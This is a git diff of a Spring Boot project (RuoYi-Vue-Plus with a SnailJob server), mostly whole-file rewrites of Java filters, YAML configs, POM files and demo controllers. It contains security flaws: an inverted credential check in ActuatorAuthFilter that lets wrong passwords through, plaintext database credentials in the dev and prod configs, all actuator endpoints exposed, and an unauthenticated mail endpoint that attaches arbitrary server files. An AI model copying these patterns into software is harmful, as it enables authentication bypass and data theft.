+ ${project.artifactId} + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + + + repackage + + + + + + + + diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/ActuatorAuthFilter.java b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/ActuatorAuthFilter.java index e3a6892..1306305 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/ActuatorAuthFilter.java +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/ActuatorAuthFilter.java @@ -1,64 +1,64 @@ -package com.aizuda.snailjob.server.starter.filter; - -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; - -import java.io.IOException; -import java.nio.charset.StandardCharsets; -import java.util.Base64; - -public class ActuatorAuthFilter implements Filter { - - private final String username; - private final String password; - - public ActuatorAuthFilter(String username, String password) { - this.username = username; - this.password = password; - } - - @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - - // 获取 Authorization 头 - String authHeader = request.getHeader("Authorization"); - - if (authHeader == null || !authHeader.startsWith("Basic ")) { - // 如果没有提供 Authorization 或者格式不对,则返回 401 - response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); - response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); - return; - } - - // 解码 Base64 编码的用户名和密码 - String base64Credentials = authHeader.substring("Basic ".length()); - byte[] credDecoded = Base64.getDecoder().decode(base64Credentials); - String credentials = new String(credDecoded, StandardCharsets.UTF_8); - String[] split = credentials.split(":"); - if (split.length != 2) { - response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); - response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); - return; - } - // 验证用户名和密码 - if (!username.equals(split[0]) && password.equals(split[1])) { - response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); - response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); - return; - } - // 如果认证成功,继续处理请求 - filterChain.doFilter(request, response); - } - - @Override - public void init(FilterConfig filterConfig) { - } - - @Override - public void destroy() { - } - -} +package com.aizuda.snailjob.server.starter.filter; + +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +public class ActuatorAuthFilter implements Filter { + + private final String username; + private final String password; + + public ActuatorAuthFilter(String username, String password) { + this.username = username; + this.password = password; + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + // 获取 Authorization 头 + String authHeader = request.getHeader("Authorization"); + + if (authHeader == null || !authHeader.startsWith("Basic ")) { + // 如果没有提供 Authorization 或者格式不对,则返回 401 + response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); + response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); + return; + } + + // 解码 Base64 编码的用户名和密码 + String base64Credentials = authHeader.substring("Basic ".length()); + byte[] credDecoded = Base64.getDecoder().decode(base64Credentials); + String credentials = new String(credDecoded, StandardCharsets.UTF_8); + String[] split = credentials.split(":"); + if (split.length != 2) { + response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); + response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); + return; + } + // 验证用户名和密码 + if (!username.equals(split[0]) && password.equals(split[1])) { + response.setHeader("WWW-Authenticate", "Basic realm=\"realm\""); + response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Unauthorized"); + return; + } + // 如果认证成功,继续处理请求 + filterChain.doFilter(request, response); + } + + @Override + public void init(FilterConfig filterConfig) { + } + + @Override + public void destroy() { + } + +} diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/SecurityConfig.java b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/SecurityConfig.java index 5196c77..e2c7e91 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/SecurityConfig.java +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/com/aizuda/snailjob/server/starter/filter/SecurityConfig.java @@ -1,29 +1,29 @@ -package com.aizuda.snailjob.server.starter.filter; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.boot.web.servlet.FilterRegistrationBean; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; - -/** - * 权限安全配置 - * - * @author Lion Li - */ -@Configuration -public class SecurityConfig { - - @Value("${spring.boot.admin.client.username}") - private String username; - @Value("${spring.boot.admin.client.password}") - private String password; - - @Bean - public FilterRegistrationBean actuatorFilterRegistrationBean() { - FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); - registrationBean.setFilter(new ActuatorAuthFilter(username, password)); - registrationBean.addUrlPatterns("/actuator", "/actuator/*"); - return registrationBean; - } - -} +package com.aizuda.snailjob.server.starter.filter; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +/** + * 权限安全配置 + * + * @author Lion Li + */ +@Configuration +public class SecurityConfig { + + @Value("${spring.boot.admin.client.username}") + private String username; + @Value("${spring.boot.admin.client.password}") + private String password; + + @Bean + public FilterRegistrationBean actuatorFilterRegistrationBean() { + FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); + registrationBean.setFilter(new ActuatorAuthFilter(username, password)); + registrationBean.addUrlPatterns("/actuator", "/actuator/*"); + return registrationBean; + } + +} diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/org/dromara/snailjob/SnailJobServerApplication.java b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/org/dromara/snailjob/SnailJobServerApplication.java index dfab068..9453595 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/java/org/dromara/snailjob/SnailJobServerApplication.java +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/java/org/dromara/snailjob/SnailJobServerApplication.java @@ -1,19 +1,19 @@ -package org.dromara.snailjob; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; - -/** - * SnailJob Server 启动程序 - * - * @author opensnail - * @date 2024-05-17 - */ -@SpringBootApplication -public class SnailJobServerApplication { - - public static void main(String[] args) { - SpringApplication.run(com.aizuda.snailjob.server.SnailJobServerApplication.class, args); - } - -} +package org.dromara.snailjob; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +/** + * SnailJob Server 启动程序 + * + * @author opensnail + * @date 2024-05-17 + */ +@SpringBootApplication +public class SnailJobServerApplication { + + public static void main(String[] args) { + SpringApplication.run(com.aizuda.snailjob.server.SnailJobServerApplication.class, args); + } + +} diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-dev.yml b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-dev.yml index d02d40e..22caaae 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-dev.yml +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-dev.yml @@ -1,53 +1,53 @@ -spring: - datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: erp20241208 - password: a2aLeLYbzfZY4MZH -# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true -# username: root -# password: root - hikari: - connection-timeout: 30000 - validation-timeout: 5000 - minimum-idle: 10 - maximum-pool-size: 20 - idle-timeout: 600000 - max-lifetime: 900000 - keepaliveTime: 30000 - ---- # snail-job 服务端配置 -snail-job: - # 拉取重试数据的每批次的大小 - retry-pull-page-size: 1000 - # 拉取重试数据的每批次的大小 - job-pull-page-size: 1000 - # 服务端netty端口 - netty-port: 17888 - # 一个客户端每秒最多接收的重试数量指令 - limiter: 1000 - # 号段模式下步长配置 - step: 100 - # 日志保存时间(单位: day) - log-storage: 90 - # 回调配置 - callback: - #回调最大执行次数 - max-count: 288 - #间隔时间 - trigger-interval: 900 - retry-max-pull-count: 10 - ---- # 监控中心配置 -spring.boot.admin.client: - # 增加客户端开关 - enabled: true - url: http://localhost:9090 - instance: - service-host-type: IP - metadata: - username: ${spring.boot.admin.client.username} - userpassword: ${spring.boot.admin.client.password} - username: @monitor.username@ - password: @monitor.password@ +spring: + datasource: + type: com.zaxxer.hikari.HikariDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true + username: erp20241208 + password: a2aLeLYbzfZY4MZH +# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true +# username: root +# password: root + hikari: + connection-timeout: 30000 + validation-timeout: 5000 + minimum-idle: 10 + maximum-pool-size: 20 + idle-timeout: 600000 + max-lifetime: 900000 + keepaliveTime: 30000 + +--- # snail-job 服务端配置 +snail-job: + # 拉取重试数据的每批次的大小 + retry-pull-page-size: 1000 + # 拉取重试数据的每批次的大小 + job-pull-page-size: 1000 + # 服务端netty端口 + netty-port: 17888 + # 一个客户端每秒最多接收的重试数量指令 + limiter: 1000 + # 号段模式下步长配置 + step: 100 + # 日志保存时间(单位: day) + log-storage: 90 + # 回调配置 + callback: + #回调最大执行次数 + max-count: 288 + #间隔时间 + trigger-interval: 900 + retry-max-pull-count: 10 + +--- # 监控中心配置 +spring.boot.admin.client: + # 增加客户端开关 + enabled: true + url: http://localhost:9090 + instance: + service-host-type: IP + metadata: + username: ${spring.boot.admin.client.username} + userpassword: ${spring.boot.admin.client.password} + username: @monitor.username@ + password: @monitor.password@ diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-prod.yml b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-prod.yml index e97f12d..1a87088 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-prod.yml +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application-prod.yml @@ -1,50 +1,50 @@ -spring: - datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true - username: erp20241208 - password: a2aLeLYbzfZY4MZH - hikari: - connection-timeout: 30000 - validation-timeout: 5000 - minimum-idle: 10 - maximum-pool-size: 20 - idle-timeout: 600000 - max-lifetime: 900000 - keepaliveTime: 30000 - ---- # snail-job 服务端配置 -snail-job: - # 拉取重试数据的每批次的大小 - retry-pull-page-size: 1000 - # 拉取重试数据的每批次的大小 - job-pull-page-size: 1000 - # 服务端 netty 端口 - netty-port: 17888 - # 一个客户端每秒最多接收的重试数量指令 - limiter: 1000 - # 号段模式下步长配置 - step: 100 - # 日志保存时间(单位: day) - log-storage: 90 - # 回调配置 - callback: - #回调最大执行次数 - max-count: 288 - #间隔时间 - trigger-interval: 900 - retry-max-pull-count: 10 - ---- # 监控中心配置 -spring.boot.admin.client: - # 增加客户端开关 - enabled: true - url: http://erp.52o.site:9090 - instance: - service-host-type: IP - metadata: - username: ${spring.boot.admin.client.username} - userpassword: ${spring.boot.admin.client.password} - username: @monitor.username@ - password: @monitor.password@ +spring: + datasource: + type: com.zaxxer.hikari.HikariDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true + username: erp20241208 + password: a2aLeLYbzfZY4MZH + hikari: + connection-timeout: 30000 + validation-timeout: 5000 + minimum-idle: 10 + maximum-pool-size: 20 + idle-timeout: 600000 + max-lifetime: 900000 + keepaliveTime: 30000 + +--- # snail-job 服务端配置 +snail-job: + # 拉取重试数据的每批次的大小 + retry-pull-page-size: 1000 + # 拉取重试数据的每批次的大小 + job-pull-page-size: 1000 + # 服务端 netty 端口 + netty-port: 17888 + # 一个客户端每秒最多接收的重试数量指令 + limiter: 1000 + # 号段模式下步长配置 + step: 100 + # 日志保存时间(单位: day) + log-storage: 90 + # 回调配置 + callback: + #回调最大执行次数 + max-count: 288 + #间隔时间 + trigger-interval: 900 + retry-max-pull-count: 10 + +--- # 监控中心配置 +spring.boot.admin.client: + # 增加客户端开关 + enabled: true + url: http://erp.52o.site:9090 + instance: + service-host-type: IP + metadata: + username: ${spring.boot.admin.client.username} + userpassword: ${spring.boot.admin.client.password} + username: @monitor.username@ + password: @monitor.password@ diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application.yml b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application.yml index ba6df45..cb58ae7 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application.yml +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/application.yml @@ -1,39 +1,39 @@ -server: - port: 8800 - servlet: - context-path: /snail-job - -spring: - application: - name: ruoyi-snailjob-server - profiles: - active: @profiles.active@ - web: - resources: - static-locations: classpath:admin/ - -mybatis-plus: - typeAliasesPackage: com.aizuda.snailjob.template.datasource.persistence.po - global-config: - db-config: - where-strategy: NOT_EMPTY - capital-mode: false - logic-delete-value: 1 - logic-not-delete-value: 0 - configuration: - map-underscore-to-camel-case: true - cache-enabled: true - -logging: - config: classpath:logback-plus.xml - -management: - endpoints: - web: - exposure: - include: '*' - endpoint: - health: - show-details: ALWAYS - logfile: - external-file: ./logs/ruoyi-snailjob-server/console.log +server: + port: 8800 + servlet: + context-path: /snail-job + +spring: + application: + name: ruoyi-snailjob-server + profiles: + active: @profiles.active@ + web: + resources: + static-locations: classpath:admin/ + +mybatis-plus: + typeAliasesPackage: com.aizuda.snailjob.template.datasource.persistence.po + global-config: + db-config: + where-strategy: NOT_EMPTY + capital-mode: false + logic-delete-value: 1 + logic-not-delete-value: 0 + configuration: + map-underscore-to-camel-case: true + cache-enabled: true + +logging: + config: classpath:logback-plus.xml + +management: + endpoints: + web: + exposure: + include: '*' + endpoint: + health: + show-details: ALWAYS + logfile: + external-file: ./logs/ruoyi-snailjob-server/console.log diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/banner.txt b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/banner.txt index adb96c5..ea3a826 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/banner.txt +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/banner.txt @@ -1,11 +1,11 @@ -Application Version: ${revision} -Spring Boot Version: ${spring-boot.version} - _ _ _ _ - (_) (_) | | - ___ _ __ __ _ _| |_ ___ | |__ ______ ___ ___ _ ____ _____ _ __ -/ __| '_ \ / _` | | | |/ _ \| '_ \______/ __|/ _ \ '__\ \ / / _ \ '__| -\__ \ | | | (_| | | | | (_) | |_) | \__ \ __/ | \ V / __/ | -|___/_| |_|\__,_|_|_| |\___/|_.__/ |___/\___|_| \_/ \___|_| - _/ | - |__/ - +Application Version: ${revision} +Spring Boot Version: ${spring-boot.version} + _ _ _ _ + (_) (_) | | + ___ _ __ __ _ _| |_ ___ | |__ ______ ___ ___ _ ____ _____ _ __ +/ __| '_ \ / _` | | | |/ _ \| '_ \______/ __|/ _ \ '__\ \ / / _ \ '__| +\__ \ | | | (_| | | | | (_) | |_) | \__ \ __/ | \ V / __/ | +|___/_| |_|\__,_|_|_| |\___/|_.__/ |___/\___|_| \_/ \___|_| + _/ | + |__/ + diff --git a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/logback-plus.xml b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/logback-plus.xml index a40262c..e867367 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/logback-plus.xml +++ b/ruoyi-extend/ruoyi-snailjob-server/src/main/resources/logback-plus.xml @@ -1,92 +1,92 @@ - - - - - - - - - - - ${console.log.pattern} - utf-8 - - - - - - ${log.path}/console.log - - - ${log.path}/console.%d{yyyy-MM-dd}.log - - 1 - - - ${log.pattern} - utf-8 - - - - INFO - - - - - ${log.path}/info.log - - ${log.path}/info.%d{yyyy-MM-dd}.log - 60 - - - ${log.pattern} - - - INFO - ACCEPT - DENY - - - - - ${log.path}/error.log - - ${log.path}/error.%d{yyyy-MM-dd}.log - - 60 - - - ${log.pattern} - - - ERROR - ACCEPT - DENY - - - - - 100 - 1024 - - - - - 100 - 1024 - - - - - - - - - - - - - - - + + + + + + + + + + + ${console.log.pattern} + utf-8 + + + + + + ${log.path}/console.log + + + ${log.path}/console.%d{yyyy-MM-dd}.log + + 1 + + + ${log.pattern} + utf-8 + + + + INFO + + + + + ${log.path}/info.log + + ${log.path}/info.%d{yyyy-MM-dd}.log + 60 + + + ${log.pattern} + + + INFO + ACCEPT + DENY + + + + + ${log.path}/error.log + + ${log.path}/error.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + ERROR + ACCEPT + DENY + + + + + 100 + 1024 + + + + + 100 + 1024 + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/pom.xml b/ruoyi-modules/pom.xml index acc1092..989ecdb 100644 --- a/ruoyi-modules/pom.xml +++ b/ruoyi-modules/pom.xml @@ -1,28 +1,28 @@ - - - - ruoyi-vue-plus - org.dromara - ${revision} - - 4.0.0 - - - ruoyi-demo - ruoyi-generator - ruoyi-job - ruoyi-system - ruoyi-workflow - ruoyi-work - - - ruoyi-modules - pom - - - ruoyi-modules 业务模块 - - - + + + + ruoyi-vue-plus + org.dromara + ${revision} + + 4.0.0 + + + ruoyi-demo + ruoyi-generator + ruoyi-job + ruoyi-system + ruoyi-workflow + ruoyi-work + + + ruoyi-modules + pom + + + ruoyi-modules 业务模块 + + + diff --git a/ruoyi-modules/ruoyi-demo/pom.xml b/ruoyi-modules/ruoyi-demo/pom.xml index 119fe61..ca51b8d 100644 --- a/ruoyi-modules/ruoyi-demo/pom.xml +++ b/ruoyi-modules/ruoyi-demo/pom.xml @@ -1,108 +1,108 @@ - - - - org.dromara - ruoyi-modules - ${revision} - - 4.0.0 - - ruoyi-demo - - - demo模块 - - - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-doc - - - - org.dromara - ruoyi-common-sms - - - - org.dromara - ruoyi-common-mail - - - - org.dromara - ruoyi-common-redis - - - - org.dromara - ruoyi-common-idempotent - - - - org.dromara - ruoyi-common-mybatis - - - - org.dromara - ruoyi-common-log - - - - org.dromara - ruoyi-common-excel - - - - org.dromara - ruoyi-common-security - - - - org.dromara - ruoyi-common-web - - - - org.dromara - ruoyi-common-ratelimiter - - - - org.dromara - ruoyi-common-translation - - - - org.dromara - ruoyi-common-sensitive - - - - org.dromara - ruoyi-common-encrypt - - - - org.dromara - ruoyi-common-tenant - - - - org.dromara - ruoyi-common-websocket - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + + 4.0.0 + + ruoyi-demo + + + demo模块 + + + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-doc + + + + org.dromara + ruoyi-common-sms + + + + org.dromara + ruoyi-common-mail + + + + org.dromara + ruoyi-common-redis + + + + org.dromara + ruoyi-common-idempotent + + + + org.dromara + ruoyi-common-mybatis + + + + org.dromara + ruoyi-common-log + + + + org.dromara + ruoyi-common-excel + + + + org.dromara + ruoyi-common-security + + + + org.dromara + ruoyi-common-web + + + + org.dromara + ruoyi-common-ratelimiter + + + + org.dromara + ruoyi-common-translation + + + + org.dromara + ruoyi-common-sensitive + + + + org.dromara + ruoyi-common-encrypt + + + + org.dromara + ruoyi-common-tenant + + + + org.dromara + ruoyi-common-websocket + + + + + diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/MailController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/MailController.java index 01f5044..97373cd 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/MailController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/MailController.java @@ -1,70 +1,70 @@ -package org.dromara.demo.controller; - -import cn.dev33.satoken.annotation.SaIgnore; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.mail.utils.MailUtils; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.io.File; -import java.util.Arrays; - - -/** - * 邮件发送案例 - * - * @author Michelle.Chung - */ -@SaIgnore -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/mail") -public class MailController { - - /** - * 发送邮件 - * - * @param to 接收人 - * @param subject 标题 - * @param text 内容 - */ - @GetMapping("/sendSimpleMessage") - public R sendSimpleMessage(String to, String subject, String text) { - MailUtils.sendText(to, subject, text); - return R.ok(); - } - - /** - * 发送邮件(带附件) - * - * @param to 接收人 - * @param subject 标题 - * @param text 内容 - * @param filePath 附件路径 - */ - @GetMapping("/sendMessageWithAttachment") - public R sendMessageWithAttachment(String to, String subject, String text, String filePath) { - MailUtils.sendText(to, subject, text, new File(filePath)); - return R.ok(); - } - - /** - * 发送邮件(多附件) - * - * @param to 接收人 - * @param subject 标题 - * @param text 内容 - * @param paths 附件路径 - */ - @GetMapping("/sendMessageWithAttachments") - public R sendMessageWithAttachments(String to, String subject, String text, String[] paths) { - File[] array = Arrays.stream(paths).map(File::new).toArray(File[]::new); - MailUtils.sendText(to, subject, text, array); - return R.ok(); - } - -} +package org.dromara.demo.controller; + +import cn.dev33.satoken.annotation.SaIgnore; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.mail.utils.MailUtils; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.File; +import java.util.Arrays; + + +/** + * 邮件发送案例 + * + * @author Michelle.Chung + */ +@SaIgnore +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/mail") +public class MailController { + + /** + * 发送邮件 + * + * @param to 接收人 + * @param subject 标题 + * @param text 内容 + */ + @GetMapping("/sendSimpleMessage") + public R sendSimpleMessage(String to, String subject, String text) { + MailUtils.sendText(to, subject, text); + return R.ok(); + } + + /** + * 发送邮件(带附件) + * + * @param to 接收人 + * @param subject 标题 + * @param text 内容 + * @param filePath 附件路径 + */ + @GetMapping("/sendMessageWithAttachment") + public R sendMessageWithAttachment(String to, String subject, String text, String filePath) { + MailUtils.sendText(to, subject, text, new File(filePath)); + return R.ok(); + } + + /** + * 发送邮件(多附件) + * + * @param to 接收人 + * @param subject 标题 + * @param text 内容 + * @param paths 附件路径 + */ + @GetMapping("/sendMessageWithAttachments") + public R sendMessageWithAttachments(String to, String subject, String text, String[] paths) { + File[] array = Arrays.stream(paths).map(File::new).toArray(File[]::new); + MailUtils.sendText(to, subject, text, array); + return R.ok(); + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisCacheController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisCacheController.java index af4a2dd..8b292a1 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisCacheController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/RedisCacheController.java @@ -1,95 +1,95 @@ -package org.dromara.demo.controller; - -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.domain.R; -import org.dromara.common.redis.utils.RedisUtils; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.CachePut; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.time.Duration; - -/** - * spring-cache 演示案例 - * - * @author Lion Li - */ -// 类级别 缓存统一配置 -//@CacheConfig(cacheNames = CacheNames.DEMO_CACHE) -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/cache") -public class RedisCacheController { - - /** - * 测试 @Cacheable - *

- * 表示这个方法有了缓存的功能,方法的返回值会被缓存下来 - * 下一次调用该方法前,会去检查是否缓存中已经有值 - * 如果有就直接返回,不调用方法 - * 如果没有,就调用方法,然后把结果缓存起来 - * 这个注解「一般用在查询方法上」 - *

- * 重点说明: 缓存注解严谨与其他筛选数据功能一起使用 - * 例如: 数据权限注解 会造成 缓存击穿 与 数据不一致问题 - *

- * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 - */ - @Cacheable(cacheNames = "demo:cache#60s#10m#20", key = "#key", condition = "#key != null") - @GetMapping("/test1") - public R test1(String key, String value) { - return R.ok("操作成功", value); - } - - /** - * 测试 @CachePut - *

- * 加了@CachePut注解的方法,会把方法的返回值put到缓存里面缓存起来,供其它地方使用 - * 它「通常用在新增或者实时更新方法上」 - *

- * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 - */ - @CachePut(cacheNames = CacheNames.DEMO_CACHE, key = "#key", condition = "#key != null") - @GetMapping("/test2") - public R test2(String key, String value) { - return R.ok("操作成功", value); - } - - /** - * 测试 @CacheEvict - *

- * 使用了CacheEvict注解的方法,会清空指定缓存 - * 「一般用在删除的方法上」 - *

- * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 - */ - @CacheEvict(cacheNames = CacheNames.DEMO_CACHE, key = "#key", condition = "#key != null") - @GetMapping("/test3") - public R test3(String key, String value) { - return R.ok("操作成功", value); - } - - /** - * 测试设置过期时间 - * 手动设置过期时间10秒 - * 11秒后获取 判断是否相等 - */ - @GetMapping("/test6") - public R test6(String key, String value) { - RedisUtils.setCacheObject(key, value); - boolean flag = RedisUtils.expire(key, Duration.ofSeconds(10)); - System.out.println("***********" + flag); - try { - Thread.sleep(11 * 1000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - Object obj = RedisUtils.getCacheObject(key); - return R.ok(value.equals(obj)); - } - -} +package org.dromara.demo.controller; + +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.domain.R; +import org.dromara.common.redis.utils.RedisUtils; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.CachePut; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.time.Duration; + +/** + * spring-cache 演示案例 + * + * @author Lion Li + */ +// 类级别 缓存统一配置 +//@CacheConfig(cacheNames = CacheNames.DEMO_CACHE) +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/cache") +public class RedisCacheController { + + /** + * 测试 @Cacheable + *

+ * 表示这个方法有了缓存的功能,方法的返回值会被缓存下来 + * 下一次调用该方法前,会去检查是否缓存中已经有值 + * 如果有就直接返回,不调用方法 + * 如果没有,就调用方法,然后把结果缓存起来 + * 这个注解「一般用在查询方法上」 + *

+ * 重点说明: 缓存注解严谨与其他筛选数据功能一起使用 + * 例如: 数据权限注解 会造成 缓存击穿 与 数据不一致问题 + *

+ * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 + */ + @Cacheable(cacheNames = "demo:cache#60s#10m#20", key = "#key", condition = "#key != null") + @GetMapping("/test1") + public R test1(String key, String value) { + return R.ok("操作成功", value); + } + + /** + * 测试 @CachePut + *

+ * 加了@CachePut注解的方法,会把方法的返回值put到缓存里面缓存起来,供其它地方使用 + * 它「通常用在新增或者实时更新方法上」 + *

+ * cacheNames 命名规则 查看 {@link CacheNames} 注释 支持多参数 + */ + @CachePut(cacheNames = CacheNames.DEMO_CACHE, key = "#key", condition = "#key != null") + @GetMapping("/test2") + public R test2(String key, String value) { + return R.ok("操作成功", value); + } + + /** + * 测试 @CacheEvict + *

+ * 使用了CacheEvict注解的方法,会清空指定缓存 + * 「一般用在删除的方法上」 + *

